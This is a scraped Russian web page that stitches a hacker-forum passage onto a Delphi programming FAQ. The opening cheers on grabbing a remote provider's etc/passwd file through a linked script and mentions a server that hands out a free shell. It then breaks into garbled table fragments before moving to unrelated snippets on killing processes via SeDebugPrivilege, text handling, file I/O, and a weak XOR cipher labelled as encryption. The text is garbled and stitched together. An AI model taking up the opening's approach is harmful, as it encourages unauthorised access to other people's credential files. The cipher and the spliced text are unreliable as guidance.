В конференциях RU.HACKER и RU.NETHACK периодически вспыхивают дискуссии: как утащить из-под лап администратора знаменитый файл etc/passwd? А после того, как утащили - что с ним можно делать? Сказывают, что якобы там хранится несметное количество паролей, логинов, аккаунтов, словом всего, что только пасется на этом сервере. Другие же утверждают, что нет там ничего, а если что и есть, так оно зашифровано и никакой жизни не хватит, что бы вернуть его в читабельное состояние. Кто же из них прав? Тем более, что некоторые уже не раз оглашали мир радостным мявом, что, дескать, пароли они утащили и сейчас будут сидеть их расшифровывать. Конечно, же, ни с кем другим они делиться своим богатством не собираются! Ну и не надо! Мы и сами с усами! Вот как пойдем по ссылке http://kpnc.webprovider.com/hack.pl да и посмотрим etc/passwd одного далекого заокеанского провайдера, да еще в читабельном виде. Вот, что мы увидим на экране!(Тут надобно заметить, что если стоит Netscape, то ничегошеньки видно не будет; а если мы установили IE 4.0 (5.0) и не все равно ничего не видно, - так это просто надо подождать, - файл etc/passwd очень длинный, и если канал у вас не шибко быстрый, то перекачка может занять, возможно, очень длинное время, - ждите тогда) Наконец на экране появится следующее: Пожалуйста, постетите этот сайт PRO HACK DISPLAY ETC/PASSWORD FILE...| /disk1/y/yccwp |
| /usr/demo |
| - |
| /var/news/etc |
| Дает доступ к cgi-bin и Шеллу (подробнее об этом позже). Очень тормозит, но это один из очень немногих серверов, дающий халявный Шелл, так что придется с этим примириться. |
| /nonexistent |
| /etc/udb |
Завершение всех работающих приложений.
Как мне завершить все работающие задачи?
Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.
Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой операции.
procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
pTask: PTaskEntry;
Task: Bool;
ThisTask: THANDLE;
begin
GetMem(pTask, SizeOf(TTaskEntry));
pTask^.dwSize := SizeOf(TTaskEntry);
Task := TaskFirst(pTask);
while Task do
begin
if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp(pTask^.hTask, NO_UAE_BOX);
Task := TaskNext(pTask);
end;
TerminateApp(ThisTask, NO_UAE_BOX);
end;
|
Как завершить любой процесс, в том числе и системный.
| Женщина спрашивает совета у доктора: - Доктор,мой 17-летний сын так увлекся компьютером,что даже спит возле него.Как его отучить? - Очень просто! Вино, водка, сигареты, женщины ... |
// Включение, приминение и отключения привилегии.
// Для примера возьмем привилегию отладки приложений 'SeDebugPrivilege'
// необходимую для завершения ЛЮБЫХ процессов в системе (завершение процесов
// созданных текущим пользователем привилегия не нужна.
function ProcessTerminate(dwPID:Cardinal):Boolean;
var
hToken:THandle;
SeDebugNameValue:Int64;
tkp:TOKEN_PRIVILEGES;
ReturnLength:Cardinal;
hProcess:THandle;
begin
Result:=false;
// Добавляем привилегию SeDebugPrivilege
// Для начала получаем токен нашего процесса
if not OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken ) then
exit;
// Получаем LUID привилегии
if not LookupPrivilegeValue( nil, 'SeDebugPrivilege', SeDebugNameValue )
then begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount:= 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
// Добавляем привилегию к нашему процессу
AdjustTokenPrivileges(hToken,false,tkp,SizeOf(tkp),tkp,ReturnLength);
if GetLastError()< > ERROR_SUCCESS then exit;
// Завершаем процесс. Если у нас есть SeDebugPrivilege, то мы можем
// завершить и системный процесс
// Получаем дескриптор процесса для его завершения
hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);
if hProcess =0 then exit;
// Завершаем процесс
if not TerminateProcess(hProcess, DWORD(-1))
then exit;
CloseHandle( hProcess );
// Удаляем привилегию
tkp.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(tkp), tkp, ReturnLength);
if GetLastError() < > ERROR_SUCCESS
then exit;
Result:=true;
end;
// Название добавление/удаление привилгии немного неправильные. Привилегия или
// есть в токене процесса или ее нет. Если привилегия есть, то она может быть в
// двух состояниях - или включеная или отключеная. И в этом примере мы только
// включаем или выключаем необходимую привилегию, а не добавляем ее.
|
Завершить чужое приложение.
| Приложение запущено. Сильно запущено... |
PostMessage(FindWindow(nil, 'Заголовок окна'), WM_QUIT, 0, 0); |
Тестер электронных дикторов.
Автор: Бочаров Николай Викторович WEB-сайт: http://www.native-speech.by.ruПредлагаю Вашему вниманию код программы "".
Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch.
Автор: Nomadic Как осуществить минимальный тест на корректность глобального идентификатора (GUID), и интерфейсов, унаследованных от IDispatch (и, следовательно, поддерживающих методы автоматизации)?Вызовите CreateRemoteComObject, передав GUID интерфейса и имя компьютера, к которому Вы пытаетесь подключиться. Если функция вернет ошибку, то наличествует проблема сервера, иначе возможная проблема относится к клиенту.
const
MyGUID = '{444...111}'; //Whatever the guid is...
var
Unk: IUnknown;
Disp: IDispatch;
begin
{ Make sure this line works correctly }
Unk := CreateRemoteComObject('server1',
StringToGUID(MyGUID));
{ If it does, then cast it to a IDispatch }
Disp := Unk as IDispatch;
end;
|
Если этот кусок кода работает, а проблема остается, то Вам требуется шаг за шагом пройти через код клиента и найти, где он дает трещину. Если не сможете этого обнаружить, Вам придется запустить сервер под отладчиком и установить связь с клиентом, чтобы Вы могли произвести отладку рядом со местом, дающем слабину.
TExcelManager.
Автор: Писарев Юрий Компонент предназначен для работы с таблицами Excel. Он позволяет находить любые таблицы в любом месте документа Excel и импортировать их в таблицы компонента TTable. Можно также экспортировать таблицы из TTable в документы Excel. Существует две версии компонента - для Microsoft Office 2000 и для Microsoft Office XP. Принцип работыКомпонент ищет таблицу по ячейкам ее верхнего ряда (шапка таблицы). Существует структура типа TTableInfo, которая описывает критерии поиска:
TFilterOption = (foCaseInsensitive, foSoftFiltration); THeadLine = record Cells: array of string; FilterOptions: array of TFilterOption; end; TBorderOption = (boRight, boBottom); TBorderOptions = set of TBorderOption; TTableInfo = record HeadLine: THeadLine; Rect: TRect; BorderOptions: TBorderOptions; TableIndex, BottomIndex: Integer; end; |
Описание шапки таблицы находится в элементе TTableInfo.HeadLine, где TTableInfo.HeadLine.Cells это строковый массив верхнего ряда ячеек, а TTableInfo.HeadLine.FilterOptions это массив, который соответствует каждой ячейки массива TTableInfo.HeadLine.Cells и определяет способ сравнения элементов массива TTableInfo.HeadLine.Cells с ячейками таблицы Excel. TTableInfo.HeadLine.FilterOptions может быть двух типов:
foCaseInsensitive - означает, что соответствующий элемент массива Cells должен в точности совпадать с ячейкой в документе Excel. Регистр не учитывается. foSoftFiltration - означает, что каждая ячейка из документа Excel может содержать в себе соответствующий элемент массива Cells. Регистр не учитывается. Если массив TTableInfo.HeadLine.FilterOptions пустой, то для сравнения используется свойство DefaultFilter компонента ExcelManager. Задавать этот массив не обязательно, а в большинстве случает вообще не нужно. Тем не менее он позволяет определять достаточно гибкие критерии поиска. Элемент TTableInfo.Rect обозначает координаты и размеры таблицы по отношению к шапке таблицы: Left - обозначает смещение влево относительно левой верхней ячейки таблицы (шапки таблицы). Right - обозначает количество колонок таблицы. Top - обозначает смещение вниз относительно левой верхней ячейки таблицы (шапки таблицы). Bottom - обозначает количество рядов таблицы. Задавать ширину (Rect.Right) и высоту (Rect.Bottom) таблицы не обязательно, так как компонент сам может определять размеры таблицы. Для автоопределения ширины таблицы, элемент TTableInfo.BorderOptions должен содержать boRight и, соответственно, для автоопределения высоты таблицы TTableInfo.BorderOptions должен содержать boBottom. Определение границы осуществляется путем нахождение первой пустой ячейки. Просмотр таблицы в документе Excel происходит сверху вниз, слева направо. Для изменения способа обнаружения нижней границы таблицы используется еще один элемент: TTableInfo.BottomIndex. Он определяет колонку, которая должна содержать пустую ячейку. Например, если TTableInfo.BorderOptions включает в себя boBottom и TTableInfo.BottomIndex равен 0, то определение высоты таблицы будет находиться по первой пустой ячейке колонки 0, на рисунке это колонка "A":
Для импорта таблицы используется функция:
function ImportTable(Table: TTable; TableInfo: TTableInfo): Boolean; virtual;
В ней указывается таблица Table, которая будет заполнена соответствующими данными и информация о таблице, которую необходимо найти. Если все прошло успешно, то функция возвращает истину. Прежде чем импортировать таблицу, нужно открыть документ Excel. Это делается с помощью процедуры:
procedure Open(const FileName: string); virtual;
Параметр FileName содержит путь к файлу Excel. Соответственно, после открытия файла его нужно закрыть. Делается это с помощью процедуры:
procedure Close(SaveChanges: Boolean); virtual;
Параметр SaveChanges определяет, нужно ли сохранять изменения.
Процесс экспотра таблицы намного проще процесса импорта. Для задания условий экспортирования используется структура:
TExportTableInfo = record Cell1, Cell2: string; Rect: TRect; end; |
Для экспорта используется функция.
function ExportTable(Table: TTable; ExportTableInfo: TExportTableInfo; const Info: string): Boolean; virtual;В параметре Table задается экспортируемая таблица. Параметр ExportTableInfo определяет условия экспорта. Функция возвращает истину, если все прошло успешно. Перед экспортом нужно открыть файл документа Excel, а после экспорта - закрыть, точно также, как для процесса импорта. Демонстрационная программа позволяет импортировать таблицы Excel в таблицы компонента TTable. Принцип работы программы таков, что сначала задается верхняя директория. Затем производится поиск по всех ее поддиректориях и просматриваются все файлы Excel. Если они содержат информацию, то она из них извлекается и записывается в файл формата Paradox в отдельную директорию. На основе импортированных данных строится отчет, содержащий в себе информацию по всем найденным таблицам. Этот отчет можно просмотреть и распечатать. Вместе с программой поставляется файл Excel, в котором содержится искомая информация. Заключение
Как уже было сказано, есть два типа компонента - для работы с Microsoft Office 2000 и Microsoft Office XP. Для использования компонента необходим компонент TExcelApplication, находящийся на странице Servers. На него должна быть установлена ссылка - TExcelManager.ExcelApplication. Компонент TExcelApplication должен соответствовать выбранной версии Microsoft Office. Компоненты будут работать в Delphi 6.0 и Delphi 7.0. Но, насколько я знаю, в Delphi 6.0 нет встроенной поддержки Microsoft Office XP. Для компонента поставляются две программы тестирования для Microsoft Office 2000 и для Microsoft Office XP. Программа для тестирования компонента под Microsoft Office XP написана в Delphi 7.0, программа для тестирования компонента под Microsoft Office 2000 написана в Delphi 6.0.
ExcelManager для Microsoft Office XP Программа для Microsoft Office XP ExcelManager для Microsoft Office 2000 Программа для Microsoft Office 2000
Присвоить текст файла переменной.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function GetTextFromFile(AFile: string; var Returnstring: string): Boolean;
var
FileStream: TFileStream;
begin
Result := False;
if not FileExists(AFile) then Exit;
FileStream := TFileStream.Create(AFile, fmOpenRead);
try
if FileStream.Size <> 0 then
begin
SetLength(Returnstring, FileStream.Size);
FileStream.Read(Returnstring[1], FileStream.Size);
Result := True;
end;
finally
FileStream.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
if GetTextFromFile('c:\autoexec.bat', s) then
begin
ShowMessage(s);
// Label1.caption := s; or assign the text to a Label
// Memo1.text := s; or a memo
end;
end;
Функция, возвращающая текст между двумя определёнными строками.
Procedure IsolateText( Const S: String; Tag1, Tag2: String; list:TStrings );
Var
pScan, pEnd, pTag1, pTag2: PChar;
foundText: String;
searchtext: String;
Begin
{ Set up pointers we need for the search. HTML is not case sensitive, so
we need to perform the search on a uppercased copy of S.}
searchtext := Uppercase(S);
Tag1:= Uppercase( Tag1 );
Tag2:= Uppercase( Tag2 );
pTag1:= PChar(Tag1);
pTag2:= PChar(Tag2);
pScan:= PChar(searchtext);
Repeat
{ Search for next occurence of Tag1. }
pScan:= StrPos( pScan, pTag1 );
If pScan <> Nil Then Begin
{ Found one, hop over it, then search from that position
forward for the next occurence of Tag2. }
Inc(pScan, Length( Tag1 ));
pEnd := StrPos( pScan, pTag2 );
If pEnd <> Nil Then Begin
{ Found start and end tag, isolate text between,
add it to the list. We need to get the text from
the original S, however, since we want the un-uppercased
version! So we calculate the address pScan would hold if
the search had been performed on S instead of searchtext. }
SetString( foundText,
Pchar(S) + (pScan- PChar(searchtext) ),
pEnd - pScan );
list.Add( foundText );
{ Continue next search after the found end tag. }
pScan := pEnd + Length(tag2);
End { If }
Else { Error, no end tag found for start tag, abort. }
pScan := Nil;
End; { If }
Until pScan = Nil;
End;
|
Как текст на кнопке расположить под заданным углом.
Как выдать текст под наклоном? Чтобы вывести под любым углом текст необходимо использовать TrueType Fonts (например «Arial»). Например:
var
LogFont: TLogFont;
begin
GetObject(Canvas.Font.Handle, SizeOf(TLogFont), @LogFont);
{Вывести текст 1/10 градуса против часовой стрелки}
LogFont.lfEscapement := Angle * 10;
Canvas.Font.Handle := CreateFontIndirect(LogFont);
end;
|
Компоненты ввода и отображения текстовой информации.
Автор: ПавелПеречень компонентов ввода и отображения текстовой информации:
| Label | Standard | Отображение текста, который не изменяется пользователем во время работы) |
| StaticText (метка с бордюром) | Additional | В дополнение к Label обеспечивает возможность задания стиля бордюра. |
| Panel | Standard | Является контейнером для группирования элементов управления, но может использоваться и для отображения текстовой информации. |
| Edit | Standard | Отображение, ввод и редактирование однострочных текстов |
| MaskEdit (окно маскированного редактирования) | Additional | Используется для форматирования данных или для ввода символов в соответствии с шаблоном |
| Memo | Standard | Отображение ввод и редактирование многострочных текстов |
| RichEdit (многострочное окно редактирования в формате rtf) | Win32 | Окно редактирования в обогащенном формате rtf, позволяющее производитьвыбор шрифтов, поиск текста и др. |
| ListBox (окно списка) | Standard | Отображение стандартного окна списка Windows, позволяющее пользователю выбирать из него пункты (Items) |
| CheckListBox (список с индикаторами) | Additional | Комбинация свойств списка ListBox и CheckBox |
| ComboBox (редактируемый список) | Standard | Объединяет функции ListBox и Edit. Пользователь может либо ввести текст, либо выбрать его из списка (items) |
| StringGrid (таблица) | Additional | Отображение текстовой информации в таблице из строк и столбцов с возможностью перемещаться по ячейкам и осуществлять выбор (Cells) |
Canvas.TextOut(60,16,'Canvas');Тексты, отображаемые в компонентах Label, StaticText, Panel определяются их свойством Caption. Его можно задавать в процессе проектирования или изменять программно:
Label1.Caption:='Новый текст';Если требуется отобразить числовую информацию, можно воспользоваться функциями FloatToStr и IntToStr:
Label1.Caption:='Число сотрудников: '+ IntToStr(I);Размещение всех рассматриваемых компонентов на форме определяется свойствами Top,Left, Height, Witch, Align - общими для всех оконных компонентов. Эти свойства определяют координаты компонента, его размеры и их изменение при изменении пользователем родительского компонента При изменении пользователем размеров окна приложения надо перерисовывать компоненты, изображающие текст, иначе выравнивание текста может нарушаться. Чтобы этого не было, надо в обработку события формы onResize вставить операторы, перерисовывающие компоненты методом Repaint:
StaticText1.Repaint;Размер меток Label, StaticText опередляется свойством AutoSize. Если AutoSize=true, то вертикальные и горизонтальные размеры определяются размером надписи. У метки Label свойство WordWrap при значении AutoSize=false задает возможность многострочных надписей. Окна редактирования Edit и MaskEdit Вводимый и выводимый текст содержится в свойстве Text. Его можно задавать в процессе проектирования или изменять программно. Выравнивание текста и перенос строк невозможен. Свойством AutoSize автоматически подстраивается только высота текста, но не ширина. Если текст не помещается в окне, то его можно прокручивать с помощью курсора. Для них предусмотрены типичные комбинации горячих клавиш: Ctrl-C - копирование выделенного текста в буфер обмена ClipBoard Ctrl-X - вырезание выделенного текста в буфер обмена ClipBoard Ctrl-V - вставка из буфера обмена ClipBoard в позицию курсора Ctrl-Z - отмена последней команды редактирования Можно установить свойство ReadOnly=false и это не позволит редактировать текст. При использовании окон редактирования для ввода, вывода и редактирования чисел необходимо использовать функции взаимного преобразования строк и чисел. Если вводимый текст не соответствует числу, то функция преобразования генерирует исключение EconvertError. Поэтому в программе необходимо предусмотреть обработку этого исключения:
var
A: integer;
: ..
try
A := StrToInt(Edit1.Text);
: : .
except
on EconvertError do
ShowMessage('Вы ввели ошибочное число');
end;
Свойство MaxLength определяет максимальную длину вводимого текста (при MaxLength=0 - длина не ограничена).
Свойство Modified, доступное только во время выполнеия, показывает, проводило ли редактирование текста в окне (вначале устанавливается false, а затем проверяется.
Свойство PasswordChar позволяет превращать окно редактирования в окно ввода пароля, если установить PasswordChar=*, то при вводе пользователем текста, в окне будут появляться именно эти символы, обеспечивая секретность пароля.
В компоненте MaskEdit можно задать строку маски в свойстве EditMask.
Многострочные окна редактирования Memo и RichEdit.
В них предусиотрены клавиши:
Ctrl-C - копирование выделенного текста в буфер обмена ClipBoard
Ctrl-X - вырезание выделенного текста в буфер обмена ClipBoard
Ctrl-V - вставка из буфера обмена ClipBoard в позицию курсора
Ctrl-Z - отмена последней команды редактирования
В компоненте Memo формат(шрифт, его атрибуты, выравнивание) одинаков для всего текста и определяется свойством Font компонента, помещенного на форму.
Компонент RichEdit работает с текстом в формате rtf. Изменить арибуты вновь водимого текста можно свойством SelAttributes. Это свойство имеет тип TtextAttributes, которое в свою очередь имеет подсвойства: Color, Name(имя шрифта), Size, Style и др. Если поместить на форму со строницы Dialog палитры кмпонент стандартный диалог выбора шрифта FontDialog и кнопку, с помощью которой этот диалог будет вызываться, то можно связать возвращаемые даилогом атрибуты текста со свойствами текстового редактора:
procedure TForm1.Button1Click(Sender: TObject);
begin
if FontDialog1.Execute then
with RichEdit1.SelAttributes do
begin
Color.FontDialog1.Font.Color;
Name.FontDialog1.Font.Name;
Size.FontDialog1.Font.Size;
Style.FontDialog1.Font.Style;
end;
RichEdit1.SetFocus;
end;
Можно присвоить сразу все свойства одного объекта другому, т.к. объекты SelAttributes и Font совместимы по типу:
procedure TForm1.Button1Click(Sender: TObject);
begin
if FontDialog1.Execute then
RichEdit1.SelAttributes.Assign(FontDialog1.Font);
RichEdit1.SetFocus;
end;
Общие свойства этих окон редактирования:
А1ignмеnt - выравнивание текста WordWrap - допустимость переноса длинныз строк ReadOnly - true - только для чтения MaxLength - максимальная длина вводимого текста WantReturns - допустимость ввода пользователем в текст символа перевода строки WantTab - допустимость ввода пользователем в текст символа табуляции ScrollBars - наличие полос прокруткиОсновное свойство окон редактирования Memo и RichEdit - Lines, содержащее текст окна в виде списка строк и имеющее тип TStrings.
Lines - начальное значение текста в процессе проектирования в Инспекторе объектов Count - количество строк в тексте Memo1.Lines.Strings[0] - доступ к отдельной (первой) строке текста по индексу. Индексы меняются как везде в Delphi от 0 до Count-1 Memo1.Lines.Add (Append) - при занесении новой строки в окно редактирования Memo1.Lines.LoadFromFile('text.txt'); - загрузить текст из файла Memo1.Lines.SaveToFile('text.txt'); - сохранение текста в файле SelStart - позиция курсора в тексте Memo1.CaretPos.Y+1 и Memo1.CaretPos.X+1 - номер строки и символа в ней перед которым расположен курсор Компоненты выбор из списков ListBox, CheckListBox, ComboBox. Компоненты ListBox, ComboBox отображают списки строк. ListBox только отображает данные и позволяет выбирать. ComboBox позволяет также редактировать данные. Основное свойство обоих компонентов - Items, имеющее тип Tstrings. Его можно заполнить в процессе проектирования. Во врямя выполнения работать с этим свойством можно, пользуясь свойствами иметодами класса Tstrings - Clear, add, и др.!!!! CheckListBox выглядит как ListBox, но около каждой строки имеется индикатор, который пользователь может переключать, в том числе и программно. Все свойства компонета CheckListBox как списка аналогичны ListBox. Состояние индикаторов определяют два свойства - индексированные массивы: State и Checked, каждый элемент которых соответствует индексу строки, устанавливаемые в том числе и программно. При каждом щелчке пользователя на индикаторе его состояние изменяется, проходя в общем случае последовательно три значения: выделение(появление черной галочки), промежуточное (серое окно индикатора и серая галочка) и не выделенное ( пустое окно индикатора).Эти м трем состояниям соответствуют три значения свойства компонента State (при AllowGrayed=true): CbChecked, CbGrayed, сьUnсhескеd При AllowGrayed=false (значение по умолчанию) допускаются только два состояния: выделенное и не выделенное. Проверять состояние индикатора можно не только по значению State, но и по значению свойства Checked. Если Checked=true, то индикатор выбран, а если false, State равно либо CbGrayed либо сьUnсhескеd. Обращение к свойствам:CheckListBox1.Checked[1]:= true CheckListBox1. State[2]:= CbGrayed
Оператор.
for I := 0 to CheckListBox1.Items.Count - 1 do
if CheckListBox1.Checked[i] then
...
В компоненте CheckListBox имеется также событие onClickCheck, возникающее при каждом изменении пользователем состояния индикатора. Его можно использовать для обработки результатов изменения.
Пример шифрования текста.
const
csCryptFirst = 20;
csCryptSecond = 230;
csCryptHeader = 'Crypted';
type
ECryptError = class(Exception);
function CryptString(Str:String):String;
var i,clen : Integer;
begin
clen := Length(csCryptHeader);
SetLength(Result, Length(Str)+clen);
Move(csCryptHeader[1], Result[1], clen);
For i := 1 to Length(Str) do
begin
if i mod 2 = 0 then
Result[i+clen] := Chr(Ord(Str[i]) xor csCryptFirst)
else
Result[i+clen] := Chr(Ord(Str[i]) xor csCryptSecond);
end;
end;
function UnCryptString(Str:String):String;
var i, clen : Integer;
begin
clen := Length(csCryptHeader);
SetLength(Result, Length(Str)-clen);
if Copy(Str, 1, clen) < > csCryptHeader then
raise ECryptError.Create('UnCryptString failed');
For i := 1 to Length(Str)-clen do
begin
if (i) mod 2 = 0 then
Result[i] := Chr(Ord(Str[i+clen]) xor csCryptFirst)
else
Result[i] := Chr(Ord(Str[i+clen]) xor csCryptSecond);
end;
end;
|
Поиск текста в текстовых файлах.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
Edit1: TEdit;
SpeedButton1: TSpeedButton;
procedure SpeedButton1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
// Aus einem alten c't-Heft von C nach Delphi ubersetzt
// Deklarationsteil
procedure Ts_init(P: PChar; m: Integer);
function Ts_Search(Text, p: PChar; m: Integer; Start: Longint): Longint;
// Globale Variablen
// *****************
var
shift: array[0..255] of Byte; // Shifttabelle fur Turbosearch
Look_At: Integer; // Look_At-Position fur Turbosearch
implementation
{$R *.DFM}
procedure Ts_init(P: PChar; m: Integer);
var
i: Integer;
begin
// *** Suchmuster analysieren ****
{1.} for i := 0 to 255 do shift[i] := m + 1;
{2.} for i := 0 to m - 1 do Shift[Ord(p[i])] := m - i;
Look_at := 0;
{3.} while (look_At < m - 1) do
begin
if (p[m - 1] = p[m - (look_at + 2)]) then Exit
else
Inc(Look_at, 1);
end;
// *** Beschreibung ****
// 1. Sprungtabelle Shift[0..255] wird mit der max. Sprungweite (Musterlange+1)
// initialisiert.
// 2. Fur jedes Zeichen im Muster wird seine Position (von hinten gezahlt) in
// der Shift-Tabelle eingetragen.
// Fur das Muster "Hans" wurden folgende Shiftpositionen ermittelt werde:
// Fur H = ASCII-Wert = 72d ,dass von hinten gezahlt an der 4. Stelle ist,
// wird Shift[72] := 4 eingetragen.
// Fur a = 97d = Shift[97] := 3;
// Fur n = 110d = Shift[110] := 2;
// Fur s = 115d = Shift[115] := 1;
// Da das Muster von Vorn nach Hinten durchsucht wird, sind doppelt auf-
// tretende Zeichen kein Problem. Die Shift-Werte werden uberschrieben und
// mit der kleinsten Sprungweite automatisch aktualisiert.
// 3. Untersucht wo (position von hinten) das Letzte Zeichen im Muster
// nochmals vorkommt und Speichert diese in der Variable Look_AT.
// Die Maximale Srungweite beim Suchen kann also 2*Musterlange sein wenn
// das letzte Zeichen nur einmal im Muster vorhanden ist.
end;
function Ts_Search(Text, p: PChar; m: Integer; Start: Longint): Longint;
var
I: Longint;
T: PChar;
begin
T := Text + Start; // Zeiger auf Startposition im Text setzen
Result := -1;
repeat
i := m - 1;
// Letztes Zeichen des Suchmusters im Text suchen.
while (t[i] <> p[i]) do t := t + shift[Ord(t[m])];
i := i - 1; // Vergleichszeiger auf vorletztes Zeichen setzen
if i < 0 then i := 0; // wenn nach nur einem Zeichen gesucht wird,
// kann i = -1 werden.
// restliche Zeichen des Musters vergleichen
while (t[i] = p[i]) do
begin
if i = 0 then Result := t - Text;
i := i - 1;
end;
// Muster nicht gefunden -> Sprung um max. 2*m
if Result = -1 then t := t + Look_AT + shift[Ord(t[m + look_at])];
until Result <> -1; // Repeat
end;
// Such-Procedure auslosen (hier beim drucken eines Speedbuttons auf FORM1)
procedure TForm1.SpeedButton1Click(Sender: TObject);
var
tt: string;
L: Integer;
L2, sp, a: Longint;
F: file; // File-Alias
Size: Integer; // Textlange
Buffer: PChar; // Text-Memory-Buffer
begin
tt := Edit1.Text; // Suchmuster
L := Length(TT); // Suchmusterlange
ts_init(PChar(TT), L); // Sprungtabelle fur Suchmuster initialisieren
try
AssignFile(F, 'test.txt');
Reset(F, 1); // File offnen
Size := FileSize(F); // Filegrosse ermitteln
GetMem(Buffer, Size + L + 1); // Memory reservieren in der Grosse von
// TextFilelange+Musterlange+1
try
BlockRead(F, Buffer^, Size); // Filedaten in den Buffer fullen
StrCat(Buffer, PChar(TT)); // Suchmuster ans Ende des Textes anhangen
// damit der Suchalgorythmus keine Fileende-
// Kontrolle machen muss.
// Turbo-Search
SP := 0; // Startpunkt der Suche im Text
A := 0; // Anzahl-gefunden-Zahler
while SP < Size do
begin
L2 := Ts_Search(Buffer, PChar(TT), L, SP); // L = Musterlange
// SP= Startposition im Text
SP := L2 + L; // StartPosition auf Letzte gefundene Position+Musterlange
Inc(a); // Anzahl gefunden Zahler
end;
// Am Schluss nicht vergessen Buffer freigeben und Inputfile schliessen
finally
FreeMem(Buffer); // Memory freigeben.
end;
finally
CloseFile(F); // Datei schliessen.
end;
end;
end.
Работа с текстовыми файлами.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Create a new text file and write some text into it
procedure NewTxt;
var
f: Textfile;
begin
AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
ReWrite(f); {Create a new file named ek.txt}
Writeln(f, 'You have written text into a .txt file');
Closefile(f); {Closes file F}
end;
// Open existing text file and append some text
procedure OpenTxt;
var
F: Textfile;
begin
AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
Append(f); {Opens the file for editing}
Writeln(f, 'You have written text into a .txt file');
Closefile(f); {Closes file F}
end;
// Open existing text file and show first line
procedure ReadTxt;
var
F: Textfile;
str: string;
begin
AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
Reset(f); {Opens the file for reading}
Readln(f, str);
ShowMessage('1. line of textfile:' + str);
Closefile(f); {Closes file F}
end;
Вывод строковой информации.
Автор: Xavier Pacheco
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Menus;
const
DString = 'Delphi 5 YES!';
DString2 = 'Delphi 5 Rocks!';
type
TMainForm = class(TForm)
mmMain: TMainMenu;
mmiText: TMenuItem;
mmiTextRect: TMenuItem;
mmiTextSize: TMenuItem;
mmiDrawTextCenter: TMenuItem;
mmiDrawTextRight: TMenuItem;
mmiDrawTextLeft: TMenuItem;
procedure mmiTextRectClick(Sender: TObject);
procedure mmiTextSizeClick(Sender: TObject);
procedure mmiDrawTextCenterClick(Sender: TObject);
procedure mmiDrawTextRightClick(Sender: TObject);
procedure mmiDrawTextLeftClick(Sender: TObject);
public
procedure ClearCanvas;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.ClearCanvas;
begin
with Canvas do
begin
Brush.Style := bsSolid;
Brush.Color := clWhite;
FillRect(ClipRect);
end;
end;
procedure TMainForm.mmiTextRectClick(Sender: TObject);
var
R: TRect;
TWidth, THeight: integer;
begin
ClearCanvas;
Canvas.Font.Size := 18;
// Calculate the width/height of the text string
TWidth := Canvas.TextWidth(DString);
THeight := Canvas.TextHeight(DString);
{ Initialize a TRect structure. The height of this rectangle will
be 1/2 the height of the text string height. This is to
illustrate clipping the text by the rectangle drawn }
R := Rect(1, THeight div 2, TWidth + 1, THeight + (THeight div 2));
// Draw a rectangle based on the text sizes
Canvas.Rectangle(R.Left - 1, R.Top - 1, R.Right + 1, R.Bottom + 1);
// Draw the Text within the rectangle
Canvas.TextRect(R, 0, 0, DString);
end;
procedure TMainForm.mmiTextSizeClick(Sender: TObject);
begin
ClearCanvas;
with Canvas do
begin
Font.Size := 18;
TextOut(10, 10, DString);
TextOut(50, 50, 'TextWidth = ' + IntToStr(TextWidth(DString)));
TextOut(100, 100, 'TextHeight = ' + IntToStr(TextHeight(DString)));
end;
end;
procedure TMainForm.mmiDrawTextCenterClick(Sender: TObject);
var
R: TRect;
begin
ClearCanvas;
Canvas.Font.Size := 10;
R := Rect(10, 10, 80, 100);
// Draw a rectangle to surround the TRect boundaries by 2 pixels }
Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
// Draw text centered by specifying the dt_Center option
DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Center);
end;
procedure TMainForm.mmiDrawTextRightClick(Sender: TObject);
var
R: TRect;
begin
ClearCanvas;
Canvas.Font.Size := 10;
R := Rect(10, 10, 80, 100);
// Draw a rectangle to surround the TRect boundaries by 2 pixels
Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
// Draw text right-aligned by specifying the dt_Right option
DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Right);
end;
procedure TMainForm.mmiDrawTextLeftClick(Sender: TObject);
var
R: TRect;
begin
ClearCanvas;
Canvas.Font.Size := 10;
R := Rect(10, 10, 80, 100);
// Draw a rectangle to surround the TRect boudries by 2 pixels
Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
// Draw text left-aligned by specifying the dt_Left option
DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Left);
end;
end.
Изменить заголовки компонент различных классов.
unit TextPF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
